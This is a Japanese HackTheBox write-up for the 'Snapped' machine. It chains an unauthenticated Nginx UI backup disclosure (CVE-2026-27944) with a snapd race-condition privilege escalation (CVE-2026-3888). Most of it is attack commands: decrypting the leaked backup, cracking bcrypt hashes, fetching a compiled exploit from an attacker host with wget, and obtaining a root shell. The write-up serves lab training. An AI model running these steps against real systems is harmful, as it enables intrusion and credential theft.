
# HTB Snapped — Hard Linux マシンのライトアップ。CVE-2026-27944(Nginx UI の未認証バックアップ開示)を CVE-2026-3888(snapd のレースコンディション LPE)と連鎖させ、システム全体の完全な侵害を達成。
HTB Snapped — Hard Linux マシンのwriteup。CVE-2026-27944(Nginx UI の認証なしバックアップ開示)を CVE-2026-3888(snapd の競合状態による LPE)と連鎖させ、システム全体の完全な侵害を達成。
難易度: Hard
OS: Linux (Ubuntu 24.04)
リリース日: 2026年3月23日
CVE: CVE-2026-27944, CVE-2026-3888
Snapped は、nginx の背後に静的サイトをホストし、Nginx UI 管理パネルを備えた Hard Linux マシンです。初期アクセスは、AES 暗号化キーを漏洩する認証なしバックアップエンドポイントである CVE-2026-27944 を悪用して取得されます。バックアップを復号し、SQLite データベースから bcrypt ハッシュをクラックした後、SSH アクセスが得られます。root への権限昇格は、snap-confine と systemd-tmpfiles の間の snapd における競合状態である CVE-2026-3888 を介して達成されます。
nmap -sCV <TARGET_IP>
開放ポート: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
発見: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
2.3.3 より前の Nginx UI バージョンは、認証なしで /api/backup を公開しています。レスポンスヘッダー X-Backup-Security は、バックアップアーカイブの復号に必要な AES-256-CBC キーと IV を漏洩します。
ステップ 1 — バックアップをダウンロードし、キー/IV を抽出:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
ステップ 2 — 16進数に変換して復号:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
ステップ 3 — SQLite データベースからハッシュを抽出:
strings database.db | grep '\$2a\$'
# ユーザー jonathan、admin の bcrypt ハッシュを発見
ステップ 4 — ハッシュをクラック:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
ステップ 5 — SSH アクセス:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 は、Ubuntu 24.04 に影響する snapd のローカル権限昇格です。これは、2つのシステムコンポーネント間の TOCTOU 競合状態を悪用します:
/tmp/.snap を定期的にクリーンアップsystemd-tmpfiles が /tmp/.snap を削除すると、攻撃者は悪意のあるコンテンツでそれを再作成できます。snap-confine が次にサンドボックスを初期化するとき、攻撃者が制御するディレクトリを root 権限でバインドマウントし、動的リンカーハイジャックを可能にします。
ステップ 1 — 脆弱なバージョンを確認:
snap version
# snapd 2.63.1+24.04 — 脆弱 (2.73 で修正)
ステップ 2 — 攻撃者マシンでエクスプロイトをコンパイル:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
ステップ 3 — ターゲットに転送:
# 攻撃者マシン
python3 -m http.server 8080
# ターゲット
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
ステップ 4 — エクスプロイトを実行:
# セッション 1 — エクスプロイトを実行
~/exploit ~/librootshell.so
# セッション 2 — "Polling..." が表示されたらクリーンアップをトリガー
rm -rf /tmp/.snap
ステップ 5 — root シェル:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt